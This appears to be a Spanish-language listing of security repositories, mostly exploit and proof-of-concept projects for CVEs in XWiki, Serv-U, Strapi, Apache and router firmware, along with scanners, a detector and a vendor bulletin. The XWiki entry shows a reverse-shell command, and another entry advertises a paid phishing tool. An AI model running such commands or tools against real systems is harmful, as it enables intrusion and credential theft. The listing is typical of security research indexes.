CVE-2024-28995

SolarWinds Serv-U Vulnerabilidad de Salto de Directorio POC cat targets.txt | nuclei -duc -t CVE-2024-28995.yaml image Análisis https://t.co/JPCd6Y4v1g Consultas de Shodan product:"Rhinosoft Serv-U httpd,rhinosoft serv-u httpd"...

Composr-CMS-10.0.13-Cross-Site-Scripting-XSS

Composr-CMS-10.0.13-Cross-Site-Scripting-XSS Composr CMS 10.0.13 Cross Site ScriptingXSS Número CVE asignado: CVE-2018-6518...

yamcs__yamcs_CVE-2023-45277_5-8-6

Yamcs Mission Control Sitio web: https://yamcs.org Lista de correo: Google Groups Yamcs es un marco de trabajo para control de misiones desarrollado en Java. Utiliza una arquitectura abierta que permite adaptar su conjunto de funcionalidades mediante archivos de configuración yaml. También puedes...

CVE-2025-24893

CVE-2025-24893 Exploit de ejecución remota de código para XWiki para versiones anteriores a 15.10.11, 16.4.1 y 16.5.0RC1. Uso $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' Úsalo solo con fines éticos :...

CVE-2023-23333

CVE-2023-23333 SolarView Compact hasta 6.00 inyección de comandos en downloader.php RCE nuclei-templates Burp Nuclei...

CVE-2019-19609

Exploit de Strapi CMS Este exploit se dirige a dos vulnerabilidades en la versión 3.0.0-beta-17.4 del framework Strapi CMS, permitiendo la ejecución remota de código RCE sin autenticación. Vulnerabilidades CVE-2019-18818 Mecanismo débil de recuperación de contraseña para contraseña olvidada CVSS ...

CVE-2021-43936

CVE-2021-43936 CVE-2021-43936 es una vulnerabilidad crítica CVSS3 10.0 que conduce a la Ejecución Remota de Código RCE en el firmware de WebHMI. Esta vulnerabilidad afecta a las versiones 4.0 y las más recientes. Probada solo en 4.0.7475. El script utiliza la vulnerabilidad en los siguientes paso...

cve-2021-42013

cve-2021-42013 Apache 2.4.50 Vulnerabilidad de path traversal Síguenos Youtube Twitter Telegram Vulnmachines.com...

Paste2Web

Paste2Web - versión beta Un script de python3 que usa el sitio web cl1p para enviar y recibir mensajes secretos ¿Cómo funciona? -Al enviar, divide el mensaje en palabras, luego genera una palabra aleatoria y la usa para publicar cada palabra por separado en un enlace y te da una clave -Ahora, par...

cve-2022-31898

cve-2022-31898 Código POC de explotación para CVE-2022-31898, una inyección de comandos para routers GL-iNet con firmware inferior a 3.215 Uso ./cve-2022-31898.py -h usage: cve-2022-31898.py -h -R RHOST -P RPORT -L LHOST -l LPORT -p PWD -t options: -h, --help show this help message and exit -R...

Security Bulletin: Due to use of Golang Go, multiple vulnerabilities affect IBM Cloud Pak System

Summary Due to use of Golang Go multiple vulnerabilities affect IBM Cloud Pak System. IBM Cloud Pak System has addressed these vulnerabilities CVE-2025-47913, CVE-2025-47914, CVE-2025-58181 Vulnerability Details CVEID:CVE-2025-47913 DESCRIPTION: SSH clients receiving SSHAGENTSUCCESS when expectin...

CVE-2018-20062

CVE-2018-20062 thinkphp 5.0.23 Aplicable a la vulnerabilidad ThinkPHP de vulhub Soy muy novato, lo iré optimizando poco a poco, por favor no me critiquen, expertos...

AdvPhishing

Verifique para Mp4: https://www.instagram.com/tukbuck/reel/DTBBBknj-nd/ Nota: Si desea activar esta herramienta o quiere un proyecto similar en condiciones de funcionamiento, primero pague: dirección de billetera ETHERC20: 0xe48df3c0e1713518096c7d2d0a2dce70aa85cd33 Síguenos en las plataformas de...

wp2shell-detect

wp2shell-detect Detector de caja negra, no intrusivo , para wp2shell — la cadena de RCE de preautenticación en el núcleo de WordPress divulgada el 2026-07-17: CVE-2026-63030 — confusión de rutas en el endpoint REST batch /wp-json/batch/v1: una subpetición cuya ruta falla en wpparseurl termina en ...

alibaba__nacos_CVE-2021-44667_2-0-3

Nacos: S ervicio dinámico de Na ming y Co nfiguración ¿Qué hace? Nacos sitio oficial: nacos.io es una plataforma fácil de usar diseñada para el descubrimiento dinámico de servicios, la configuración y la gestión de servicios. Te ayuda a crear aplicaciones nativas de la nube y plataformas de...

CVE-2019-13292-WebERP_4.15

Exploit de Inyección SQL Ciega para WebERP Este es un script de Python3 que demuestra un exploit para una vulnerabilidad de Inyección SQL Ciega en WebERP versión 4.15, descubierta inicialmente por Semen Alexandrovich Lyhin el 10 de junio de 2019. El exploit original se puede encontrar aquí, y se...

Exif-Grabber

Acerca de Exif Grabber Versión Beta Exif Grabber es una herramienta de Python diseñada para extraer datos exif de imágenes con dos métodos Captura de pantalla Captura de pantalla mostrando una parte de su funcionamiento Requisito Librería Exifread :https://pypi.python.org/pypi/ExifRead Instalació...

Ubisoft-Uplay-Desktop-Client-63.0.5699.0

Ubisoft-Uplay-Desktop-Client-63.0.5699.0...

CVE-2021-41773

CVE-2021-41773 Playground Esta es una pequeña receta Docker para configurar un contenedor basado en Debian bookworm con una instancia de Apache HTTPd 2.4.49 vulnerable a CVE-2021-41773. CGI se ha habilitado explícitamente para que pueda usarse para probar/verificar el comportamiento de divulgació...

Next.js-RSC-RCE-Scanner-CVE-2025-66478

Escáner RSC RCE de Next.js y Colección de POC/Exploit CVE-2025-66478 Un escáner de línea de comandos para la detección por lotes de versiones de aplicaciones Next.js y determinar si están afectadas por la vulnerabilidad CVE-2025-66478. Este escáner no explota la vulnerabilidad Descripción de la...